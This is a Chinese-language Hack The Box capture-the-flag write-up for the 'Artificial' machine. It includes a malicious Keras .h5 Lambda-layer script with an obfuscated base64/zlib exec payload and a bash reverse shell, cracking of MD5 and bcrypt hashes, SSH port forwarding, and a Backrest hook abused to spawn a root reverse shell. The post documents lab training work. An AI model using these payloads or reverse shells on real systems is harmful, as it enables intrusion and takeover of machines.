【Hack The Box】Artificial Write Up

前言

在拿下Artificial的过程中,受到了Ayame大佬的这篇Write Up的巨大帮助,在我迷茫的时候给了我很多启发,在此表示感谢。

信息收集

Nmap

bash 复制代码
nmap -A 10.10.11.74

发现了80端口开放,且存在域名artificial.htb。

在本地hosts文件添加一条记录。

bash 复制代码
10.10.11.74     artificial.htb

dirb

没有发现任何有价值的目录,不再赘述。

获得立足点

访问artificial.htb。

往下翻一翻,看到了一个示例代码,感觉有用,先保存一份。

回到上面,看到有登录和注册。先注册一个账号看看系统有什么功能。

发现可以上传模型。

之前收集的示例代码不就有用了嘛!

那看看示例代码可能有什么漏洞吧。

发现模型存储的格式为.h5。这个格式是一种比较老旧的格式,TensorFlow官网明确说明不建议使用。 搜索一下相关漏洞,发现tensorflow-rce这个漏洞。 漏洞的原理很简单,在生成的.h5格式的模型文件中,可以加入一个Lambda层,这个层的内容可以是一个引用的方法。而如果这个方法是一个攻击者(就是我们啦)提供的具有恶意行为的方法,则可能造成命令执行等问题。

直接改一下之前的示例代码,加入RCE。

python 复制代码
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers


# 添加
def hack(a):
    try:
        exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T11LBCEUfR5/hW8qmcyWDbQ0QUQPERG0+xYRM3orGUdF3ZqK/nsrLsHlXs49534cMwcfM05eTZD5tzUjH4cEneQpx53KPJsZ0KuPeMHG4Ti4N6Crlq1Rk+PXPjepr8OiFnrCD3jzcH33stk+3lzds6ITyjsHKlNKVq0o0YlzwqU8ZYUfIwwTamBREHJZXC6LZAECPWPI9vUhsXNhUBMll7eEJxFBfVDJ2FP7jHR/wJahz3djAVtwVLMLu1+nj/7Z49pmCBZQtHgWGpSfQ4SUaLUvxk6Wpoai5D8kkXX6ZegP5xleWw==')[0])))
        return a
    except:
        return a


np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
    'hour': hours,
    'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(1,)),
    layers.Dense(64, activation='relu'),
    layers.Dense(1)
])

# 添加
model.add(layers.Lambda(hack))

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')

注意上面的代码,tensorflow-rce中直接写了反弹shell的语句,如果想编译通过,需要在一个可以访问到目标ip的主机编译。但是,我不想在kali装各种依赖包,因此选择了在自己的虚拟机上编译,加一个"try except"保证编译通过。

启动msfconsole,使用payload python/meterpreter/reverse_tcp,启动监听。如何使用msfconsole不再赘述。

运行python文件,生成profits_model.h5模型,上传,运行模型。

可以了吗?并不行。连接成功,但是一瞬间就断了。

而且可能是机器配置较低的原因,编译模型等了好久。

查了好久,没有查到原因。

看看Ayame大佬怎么做的吧。Ayame大佬是直接使用的POC,而且是使用的基于bash反弹shell的方式,并没有使用msf。看来后面还是要用bash的方式反弹shell,感觉稳定性好一些。

而且,很关键的一点,Ayame大佬是使用网站给出的Dockerfile构建的Docker环境生成的模型文件。

打开Dockerfile文件看一下,发现镜像只会安装tensorflow_cpu-2.13.1这一个Python依赖,而且使用的Python版本为3.8,猜测就是因为Python版本不同,所以模型运行不成功。

ok,知道了问题,继续吧。

使用Dockerfile构建一个镜像,镜像名称和版本可以随意写。注意在Dockerfile目录下执行命令。

bash 复制代码
sudo docker build -t hack:1.0 .

启动容器。注意"-td"参数,"t"的意思是分配一个伪终端,"d"的意思是在后台运行容器并且打印容器ID。如果不使用这两个参数,容器启动后会立即停止。更多参数解析可以参考官方文档

bash 复制代码
sudo docker run -td hack:1.0

修改代码。(没错,我还是没有直接使用tensorflow-rce的POC,就是这么叛逆;)。)

这里有一个点,反弹shell使用了"bash -c"包裹了一层。这是因为靶机使用的是Ubuntu,而Ubuntu的默认shell(即/bin/sh指向的二进制文件)是dash而不是bash,并且dash是不支持"-i"参数和">& /dev/tcp/10.10.16.9/2333"这种写法,所以反弹shell不能成功。具体解释可以看这个这个这个

python 复制代码
# a.py

from tensorflow import keras
from keras import layers


def hack(a):
    import os
    try:
        os.system("bash -c \"bash -i >& /dev/tcp/10.10.16.9/2333 0>&1\"")

        return a
    except:
        return a

# Build the model
model = keras.Sequential([
    layers.Input(shape=(64,))
])

model.add(layers.Lambda(hack))

# Compile the model
model.compile()

# Save the model
model.save('profits_model.h5')

复制Python脚本到容器中。注意hopeful_knuth为我的容器的名称,这个是随机的,只需要替换为你的容器名称就好。如果不知道容器的名称是什么,可以用docker ps -a命令查看。

bash 复制代码
sudo docker cp a.py hopeful_knuth:/code

进入容器。

bash 复制代码
sudo docker exec -it hopeful_knuth /bin/bash

【容器内】运行Python脚本,生成模型文件。

bash 复制代码
python3 a.py

exit退出容器,将容器内的模型文件复制到宿主机。

bash 复制代码
sudo docker cp hopeful_knuth:/code/profits_model.h5 .

启动nc监听。

bash 复制代码
nc -lvvp 2333

上传模型,查看预测结果。

成功拿到shell。

提权

先尝试常规方法提权到root权限,没有任何结果,也没有发现User Flag,不再赘述。

gael

查看home目录,看到有一个gael用户。看来要先提权到gael了。 看到app目录下存在网站的源代码,准备拉下来做个代码审计,看看有没有什么可以利用的漏洞。 先打个包。

bash 复制代码
tar -zcvf app.tar.gz .

启动一个web服务。

bash 复制代码
python3 -m http.server 8000

浏览器访问这个地址,把压缩包下载下来。

拿到源代码之后,翻了一下,没什么特别的内容。不过看到了一个名称为users.db的文件,这不就有了嘛。

直接用sqlitebrowser打开,看到有个user表,里面有gael用户的邮箱和加密后的密码。

联想到需要提权到系统的gael用户权限,应该是密码复用了。 现在问题就是怎么破解出密码的明文了。 先看看源代码,是使用什么方式加密的。 在app.py中找到login方法,看到调用了一个名为hash的方法来加密密码。

python 复制代码
if user and user.password == hash(password):
    session['user_id'] = user.id
    session['username'] = user.username
    return redirect(url_for('dashboard'))

再来看看hash方法的内容。

python 复制代码
def hash(password):
   password = password.encode()
   hash = hashlib.md5(password).hexdigest()
   return hash

只是一个简单的md5加密嘛。 请出hashcat。

bash 复制代码
hashcat -a 0 -m 0 c991759*******************8a34f8 rockyou.txt

破解得到明文密码"mat**********rtwo"。 通过ssh登录到gael用户,拿到User Flag。

root

尝试常规方法提权到root权限,没有任何结果。 没有思路了,求助Ayame大佬吧。大佬是看了一下本地监听端口,发现了存在其他的服务。 照着大佬的方法做。

bash 复制代码
ss -tunlp

发现有两个比较可疑的端口,一个是5000端口,一个是9898端口。

经过测试,5000端口是之前的web服务,9898端口才是我们的目标。

但是它只监听了本地回环地址,如果想要访问,需要将端口转发出来。

因为我们知道gael用户的密码,可以使用ssh本地端口转发。注意,下面的命令是在本地执行的。

bash 复制代码
ssh -CfNg -L 9999:127.0.0.1:9898 gael@10.10.11.74

使用浏览器访问,可以看到已经访问成功。

但是需要登录,要去哪找用户名和密码呢?

无意中执行了id命令,看到gael用户属于sysadm组。

经过各种尝试,最后发现sysadm组下有一个备份文件。

bash 复制代码
find / -type f -group sysadm 2>/dev/null

照例,拉下来看看是什么。拉取方式和之前一样,不再赘述。

尝试解压,问题就来了。报错。

难道是我的打开方式不对?难道不能直接解压?

于是各种翻找文档,甚至在本地搭建了一个实例(这里面也有无数的坑),历经千辛万苦,仍然没有解决。 没办法了,再次求助Ayame大佬。

嗯?大佬直接就解压了......

这合理吗?

那回来看看我的解压命令吧。

bash 复制代码
tar -zxvf backrest_backup.tar.gz

在搜索相关报错之后发现,-z参数表示这是一个gzip压缩文件。然而,文件名以.gz结尾并不意味着它是一个gzip压缩文件。如果文件实际上是一个未压缩的tar归档文件,而不是gzip压缩文件,使用-z选项会导致错误。

修改解压命令。

bash 复制代码
tar -xvf backrest_backup.tar.gz

成功解压。

注意,解压后如果是在可视化窗口打开,可能会看不到.config目录。(.开头,隐藏文件嘛。)可以使用Ctrl + H显示隐藏文件,或者直接命令行ls -la吧。

在.config目录下发现一个config.json文件,打开看一下。

有个backrest_root用户,密码是通过Bcrypt加密的。

但是很奇怪,这个格式也不是Bcrypt密文的格式呀。有点困惑,看看Ayame大佬的文章吧。(已经被折腾的失去耐心......)

原来是Base64编码后的结果......(没看到结尾的"="就没想到是Base64编码,不太应该!)

那先解个码吧。

bash 复制代码
echo 'JDJhJDEwJG************************************************************VCWnovMFFP' | base64 -d

得到解码后的密码" <math xmlns="http://www.w3.org/1998/Math/MathML"> 2 a 2a </math>2a10$cVGIy9*****************************************Zz/0QO"。

然后hashcat解密。

bash 复制代码
hashcat -a 0 -m 3200 '$2a$10$cVGIy9*****************************************Zz/0QO' rockyou.txt

得到明文密码"!****^"。

登录系统成功。

Ayame大佬在这一步是使用备份文件的方式拿到的Root Flag,但是我想拿到一个shell。(其实,受到大佬的启发,可以将root目录下的id_rsa文件导出到本地,再通过ssh登录,同样可以获得shell。不过这种方式我并没有尝试,感兴趣的话可以试一下。)

好在之前折腾过这个软件,对各种功能也比较熟了,之前的时间也算没有白费。

先运行nc,准备接收shell。

bash 复制代码
nc -lvvp 2333

新建一个仓库,名称什么的可以随便填。

然后再新建一个计划,名称随便填,仓库选择之前创建的那个。关键点来了,路径要写一个系统绝对不会存在的路径。然后下拉,找到计划时间,选择每分钟触发。再下拉,找到Hooks --> Add Hook --> Command,触发条件选择"CONDITION_ANY_ERROR",Script处填写bash -c "bash -i >& /dev/tcp/10.10.16.10/2333 0>&1"。(因为是分多次完成的,所以ip地址和之前不同。)

原理是我们的计划选择了一个系统不存在的路径,在执行计划的过程中必定会报错。由于Hooks触发条件选择了当错误发生时执行命令,而命令又是反弹shell的指令,因此可以得到shell。

提交,等待计划运行。

成功拿到shell,查看Root Flag。

后记

这次尝试的靶机难度是属于偏简单的,但是确实水平有限,中间参考了大佬的解答才有思路。加上中间有事,断断续续做了两周才做完,又花了两天时间才整理好。我尽可能详细的记录了拿下靶机过程中的操作步骤及遇到的问题,希望能对看到的人有一点帮助。大家共同进步!

相关推荐
NewCarRen18 分钟前
用马尔可夫模型进行自动驾驶安全分析
人工智能·安全·自动驾驶
峥嵘life2 小时前
Android14 锁屏密码修改为至少6位
android·安全
儿歌八万首11 小时前
鸿蒙ArkTS多环境API管理与安全签名方案实践
安全·harmonyos·arkts·签名
渗透测试老鸟-九青11 小时前
汽车安全 | 汽车安全入门
安全·汽车·网络安全学习路线·车联网安全·黑客入门
科技云报道12 小时前
IDC权威认可:瑞数信息双项入选《中国大模型安全保护市场概览》
安全
武汉格发Gofartlic12 小时前
Fluent许可与网络安全策略
大数据·开发语言·网络·人工智能·安全·web安全·数据分析
第十六年盛夏.16 小时前
【网络安全】DDOS攻击
安全·web安全·ddos
两圆相切17 小时前
等保2.0详解:筑牢数字时代安全基石
安全
hrrrrb17 小时前
【密码学】2. 古典密码
网络·安全·密码学
云祺vinchin18 小时前
云祺容灾备份系统Hadoop备份与恢复实操手册
运维·网络·安全·数据安全